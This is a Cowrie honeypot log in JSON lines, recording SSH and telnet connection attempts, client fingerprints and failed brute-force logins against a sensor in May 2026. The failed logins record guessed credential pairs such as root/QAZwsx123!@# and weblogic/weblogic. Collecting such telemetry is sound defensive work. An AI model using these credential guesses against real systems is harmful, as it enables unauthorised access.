{"eventid":"cowrie.session.closed","duration":34.02178883552551,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:35.621522Z","src_ip":"69.4.83.194","session":"1dc064cd74f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b13ca33b0859","protocol":"ssh","message":"New connection: 103.153.68.219:41466 (10.17.0.5:22) [session: b13ca33b0859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:40.753619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:40.758011Z","src_ip":"103.153.68.219","session":"b13ca33b0859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:41.009216Z","src_ip":"103.153.68.219","session":"b13ca33b0859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456","message":"login attempt [root/456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:41.763633Z","src_ip":"103.153.68.219","session":"b13ca33b0859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:43.018445Z","src_ip":"103.153.68.219","session":"b13ca33b0859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020580291748,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:43.523511Z","src_ip":"79.139.59.21","session":"23332d7dc18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48250,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aec55ee97ee","protocol":"telnet","message":"New connection: 69.4.83.194:48250 (159.203.135.109:23) [session: 1aec55ee97ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:46.888164Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":45808,"dst_ip":"159.203.135.109","dst_port":22,"session":"567138e5b538","protocol":"ssh","message":"New connection: 62.133.63.178:45808 (159.203.135.109:22) [session: 567138e5b538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:50.398315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:50.403352Z","src_ip":"62.133.63.178","session":"567138e5b538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:50.524806Z","src_ip":"62.133.63.178","session":"567138e5b538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominika","message":"login attempt [root/dominika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:50.892731Z","src_ip":"62.133.63.178","session":"567138e5b538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:52.017782Z","src_ip":"62.133.63.178","session":"567138e5b538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51014,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d6eb80a8364","protocol":"telnet","message":"New connection: 180.235.129.180:51014 (10.17.0.5:23) [session: 1d6eb80a8364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:03.933909Z"}
{"eventid":"cowrie.session.closed","duration":34.25303649902344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:07.870968Z","src_ip":"69.4.83.194","session":"0aba3074ceaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":35442,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c4fab7f2f5","protocol":"telnet","message":"New connection: 178.128.93.180:35442 (10.17.0.5:23) [session: 69c4fab7f2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:14.004013Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"91ac2fe8c452","protocol":"ssh","message":"New connection: 156.245.246.50:60564 (10.17.0.5:22) [session: 91ac2fe8c452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:14.551001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:14.556383Z","src_ip":"156.245.246.50","session":"91ac2fe8c452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:14.773243Z","src_ip":"156.245.246.50","session":"91ac2fe8c452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123!@#","message":"login attempt [root/QAZwsx123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:15.628620Z","src_ip":"156.245.246.50","session":"91ac2fe8c452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:16.839879Z","src_ip":"156.245.246.50","session":"91ac2fe8c452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.95699071884155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:21.845047Z","src_ip":"69.4.83.194","session":"1aec55ee97ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42814,"dst_ip":"159.203.135.109","dst_port":23,"session":"62836586817c","protocol":"telnet","message":"New connection: 69.4.83.194:42814 (159.203.135.109:23) [session: 62836586817c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:44.757329Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":33872,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04afca5063c","protocol":"ssh","message":"New connection: 94.159.110.201:33872 (159.203.135.109:22) [session: d04afca5063c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:52.850923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:52.855031Z","src_ip":"94.159.110.201","session":"d04afca5063c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:52.972520Z","src_ip":"94.159.110.201","session":"d04afca5063c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viktori","message":"login attempt [root/viktori] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:53.327696Z","src_ip":"94.159.110.201","session":"d04afca5063c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:54.447965Z","src_ip":"94.159.110.201","session":"d04afca5063c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":56350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9fcf6f24d8d","protocol":"ssh","message":"New connection: 147.45.197.250:56350 (159.203.135.109:22) [session: b9fcf6f24d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:56.598874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:56.607044Z","src_ip":"147.45.197.250","session":"b9fcf6f24d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:56.691329Z","src_ip":"147.45.197.250","session":"b9fcf6f24d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21031990","message":"login attempt [root/21031990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:56.944482Z","src_ip":"147.45.197.250","session":"b9fcf6f24d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:15:58.031382Z","src_ip":"147.45.197.250","session":"b9fcf6f24d8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a08e08d3b12","protocol":"telnet","message":"New connection: 69.4.83.194:52098 (159.203.135.109:23) [session: 1a08e08d3b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:07.725277Z"}
{"eventid":"cowrie.session.closed","duration":66.76245069503784,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:10.696125Z","src_ip":"180.235.129.180","session":"1d6eb80a8364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61531662940979,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:17.372509Z","src_ip":"69.4.83.194","session":"62836586817c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.84607672691345,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:30.849966Z","src_ip":"178.128.93.180","session":"69c4fab7f2f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10513186454773,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:41.830253Z","src_ip":"69.4.83.194","session":"1a08e08d3b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":59290,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a345657c6e","protocol":"telnet","message":"New connection: 165.22.57.101:59290 (159.203.135.109:23) [session: c3a345657c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:43.125435Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":34602,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ee7f57bcce","protocol":"ssh","message":"New connection: 156.245.246.50:34602 (10.17.0.5:22) [session: e5ee7f57bcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:43.822106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:43.828090Z","src_ip":"156.245.246.50","session":"e5ee7f57bcce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:44.039115Z","src_ip":"156.245.246.50","session":"e5ee7f57bcce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:44.911015Z","src_ip":"156.245.246.50","session":"e5ee7f57bcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:46.126583Z","src_ip":"156.245.246.50","session":"e5ee7f57bcce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":57734,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1988f23b145","protocol":"ssh","message":"New connection: 103.237.144.204:57734 (159.203.135.109:22) [session: b1988f23b145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:53.798668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:53.803846Z","src_ip":"103.237.144.204","session":"b1988f23b145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:54.802418Z","src_ip":"103.237.144.204","session":"b1988f23b145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"profe","password":"profe","message":"login attempt [profe/profe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:55.853046Z","src_ip":"103.237.144.204","session":"b1988f23b145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:16:57.105170Z","src_ip":"103.237.144.204","session":"b1988f23b145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49868,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0c1c2967aa","protocol":"telnet","message":"New connection: 69.4.83.194:49868 (159.203.135.109:23) [session: ff0c1c2967aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:13.550438Z"}
